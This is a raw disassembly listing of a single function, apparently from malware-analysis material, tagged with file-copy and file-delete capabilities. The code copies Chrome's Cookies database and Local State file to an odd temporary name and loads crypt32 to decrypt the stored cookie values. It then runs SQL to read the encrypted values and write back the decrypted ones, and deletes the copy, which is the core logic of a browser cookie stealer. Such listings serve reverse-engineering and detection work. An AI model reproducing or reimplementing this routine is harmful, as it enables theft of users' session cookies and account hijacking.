Function at 0x10010830
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011151c
mov eax, dword fs:[0]
push eax
sub esp, 0x4c0
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x4c0], edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x4ac], ebx
test ebx, ebx
je 0x10010e7e
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x484]
push eax
call fcn.10017ce0
push ebx
lea ecx, [ebp - 0x454]
mov dword [ebp - 4], 0
call fcn.10011560
xor ecx, ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x444], ecx
jbe 0x10010937
mov edx, dword [ebp - 0x440]
lea ebx, [ecx + 0x5f]
mov esi, dword [ebp - 0x454]
cmp edx, 8
lea eax, [ebp - 0x454]
mov edi, 0x20
cmovae eax, esi
cmp di, word [eax + ecx*2]
mov edi, 0x5c
jne 0x100108fa
cmp edx, 8
lea eax, [ebp - 0x454]
cmovae eax, esi
mov word [eax + ecx*2], bx
mov edx, dword [ebp - 0x440]
mov esi, dword [ebp - 0x454]
cmp edx, 8
lea eax, [ebp - 0x454]
cmovae eax, esi
cmp di, word [eax + ecx*2]
jne 0x10010928
cmp edx, 8
lea eax, [ebp - 0x454]
cmovae eax, esi
mov word [eax + ecx*2], bx
mov edx, dword [ebp - 0x440]
mov esi, dword [ebp - 0x454]
inc ecx
cmp ecx, dword [ebp - 0x444]
jb 0x100108c2
mov edi, dword [ebp - 0x4c0]
cmp dword [ebp - 0x470], 8
lea eax, [ebp - 0x484]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea esi, [edi + 0x61c]
cmovae eax, dword [ebp - 0x484]
add edi, 0x970
push eax
push str.NVIDlAgmck
push esi
push str._s_sTEMPcm_cke__s.dat
push edi
call ebx
add esp, 0x14
lea eax, [ebp - 0x454]
cmp dword [ebp - 0x440], 8
cmovae eax, dword [ebp - 0x454]
push eax
push str.NVIDlAgmck
push esi
mov esi, dword [ebp - 0x4c0]
push str._s_scm_cke_cfg__s1.dat
lea eax, [esi + 0xb78]
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x234]
push 0x208
push 0
push eax
call fcn.100eb400
add esp, 0xc
lea eax, [ebp - 0x43c]
push 0x208
push 0
push eax
call fcn.100eb400
add esp, 0xc
call fcn.1003e060
call fcn.1003de50
cmp eax, 0x60001
jb 0x10010e25
push dword [ebp - 0x4ac]
add esi, 0x20c
lea eax, [ebp - 0x234]
push esi
push str._sGoogleChromeUser_Data_sCookies
push eax
call ebx
push esi
lea eax, [ebp - 0x43c]
push str._sGoogleChromeUser_DataLocal_State
push eax
call ebx
add esp, 0x1c
lea eax, [ebp - 0x234]
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x10010e25
push str.crypt32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmm0, xmmword [0x10600eb0]
lea ecx, [ebp - 0x28]
push ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x6174
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4c4], eax
test eax, eax
je 0x10010e25
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x4c0], 0
push eax
push edi
call fcn.100b9370
add esp, 8
test eax, eax
je 0x10010aad
mov ecx, dword [ebp - 0x4c0]
xor edx, edx
call fcn.100b7160
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x454]
call fcn.10011690
lea ecx, [ebp - 0x484]
call fcn.10011690
jmp 0x10010e7e
mov ebx, dword [ebp - 0x4c0]
lea eax, [ebp - 0x4a8]
push 0
push eax
push 0
push 0
push 0xffffffffffffffff
mov edx, str.select_creation_utc_encrypted_value_from_cookies
mov ecx, ebx
call fcn.10096740
add esp, 0x14
test eax, eax
je 0x10010b00
xor edx, edx
mov ecx, ebx
call fcn.100b7160
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x454]
call fcn.10011690
lea ecx, [ebp - 0x484]
call fcn.10011690
jmp 0x10010e7e
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x4a4]
push eax
call fcn.10012970
mov byte [ebp - 4], 2
push dword [ebp - 0x4a8]
call fcn.100657b0
add esp, 4
mov edi, 1
cmp eax, 0x64
jne 0x10010de9
mov dword [ebp - 0x458], 0xf
mov dword [ebp - 0x45c], 0
mov byte [ebp - 0x46c], 0
mov byte [ebp - 4], 3
push 0
push dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], 0
call fcn.10066170
push 1
push dword [ebp - 0x4a8]
mov dword [ebp - 0x4c8], eax
call fcn.10065d20
mov esi, dword [ebp - 0x4a8]
add esp, 0x10
mov ebx, eax
test esi, esi
je 0x10010bc6
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x10010b9e
push eax
call dword [0x10610114]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x10010bb3
cmp di, word [esi + 0x8c]
jae 0x10010bb3
add ecx, 0x28
jmp 0x10010bcb
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.100441f0
mov ecx, 0x105f7728
push ecx
call fcn.10064b10
add esp, 4
mov edi, eax
test esi, esi
je 0x10010c0f
mov ecx, dword [esi]
mov edx, dword [esi + 0x28]
cmp byte [ecx + 0x49], 0
jne 0x10010bf4
cmp edx, 0xc0a
je 0x10010bf4
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x10010bf9
call fcn.10041820
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x10010c0f
push eax
call dword [0x1061011c]
add esp, 4
test edi, edi
je 0x10010da5
mov ecx, 0x1012d5e8
mov dword [ebp - 0x4bc], ebx
mov dword [ebp - 0x4b8], edi
movzx eax, word [edi]
cmp ax, word [ecx]
jne 0x10010cc2
movzx eax, byte [edi + 2]
cmp al, byte [ecx + 2]
jne 0x10010cc2
cmp dword [ebp - 0x494], 0
je 0x10010da5
xorps xmm0, xmm0
movq qword [ebp - 0x48c], xmm0
call fcn.10014540
call fcn.100bb240
mov dword [ebp - 0x48c], eax
lea ecx, [ebp - 0x48c]
lea eax, [ebp - 0x4a4]
mov dword [ebp - 0x488], eax
lea eax, [ebp - 0x46c]
push eax
push dword [ebp - 0x4bc]
push dword [ebp - 0x4b8]
call fcn.10011f80
movzx ecx, al
test al, al
je 0x10010ce7
cmp dword [ebp - 0x458], 0x10
lea eax, [ebp - 0x46c]
cmovae eax, dword [ebp - 0x46c]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x4b4], eax
jmp 0x10010ce7
lea eax, [ebp - 0x4b4]
push eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4ac]
push eax
lea eax, [ebp - 0x4bc]
push eax
call dword [ebp - 0x4c4]
mov ecx, eax
test ecx, ecx
je 0x10010da5
mov eax, dword [ebp - 0x4b4]
inc eax
push eax
call fcn.100d232c
mov ecx, dword [ebp - 0x4b4]
add esp, 4
inc ecx
mov edi, eax
push ecx
push 0
push edi
call fcn.100eb400
add esp, 0xc
push dword [ebp - 0x4b4]
push dword [ebp - 0x4b0]
push edi
call fcn.100eae80
mov eax, dword [ebp - 0x4b4]
add esp, 0xc
add eax, 0x81
push eax
call fcn.100d232c
add esp, 4
mov esi, eax
push dword [ebp - 0x4c8]
push edi
push str.update_cookies_set_value_s_where_creation_utc_s_
push esi
call fcn.10010fc0
mov ebx, dword [ebp - 0x4c0]
push 0
push 0
push 0
push esi
push ebx
call fcn.10091580
add esp, 0x24
test edi, edi
je 0x10010d74
push edi
call fcn.100d2327
add esp, 4
test esi, esi
je 0x10010d81
push esi
call fcn.100d2327
add esp, 4
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x458]
cmp eax, 0x10
jb 0x10010dcd
inc eax
lea ecx, [ebp - 0x46c]
push eax
push dword [ebp - 0x46c]
call fcn.10011bd0
jmp 0x10010dcd
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x458]
cmp eax, 0x10
jb 0x10010dc7
inc eax
lea ecx, [ebp - 0x46c]
push eax
push dword [ebp - 0x46c]
call fcn.10011bd0
mov ebx, dword [ebp - 0x4c0]
push dword [ebp - 0x4a8]
call fcn.100657b0
add esp, 4
mov edi, 1
cmp eax, 0x64
je 0x10010b33
push dword [ebp - 0x4a8]
call fcn.100648d0
add esp, 4
xor edx, edx
mov ecx, ebx
call fcn.100b7160
lea ecx, [ebp - 0x4a4]
call fcn.100116d0
lea ecx, [ebp - 0x454]
call fcn.10011690
lea ecx, [ebp - 0x484]
call fcn.10011690
mov eax, edi
jmp 0x10010e80
mov eax, dword [ebp - 0x440]
cmp eax, 8
jb 0x10010e43
inc eax
lea ecx, [ebp - 0x454]
push eax
push dword [ebp - 0x454]
call fcn.100115c0
xor eax, eax
mov dword [ebp - 0x440], 7
mov word [ebp - 0x454], ax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x444], 0
cmp eax, 8
jb 0x10010e7e
inc eax
lea ecx, [ebp - 0x484]
push eax
push dword [ebp - 0x484]
call fcn.100115c0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret 4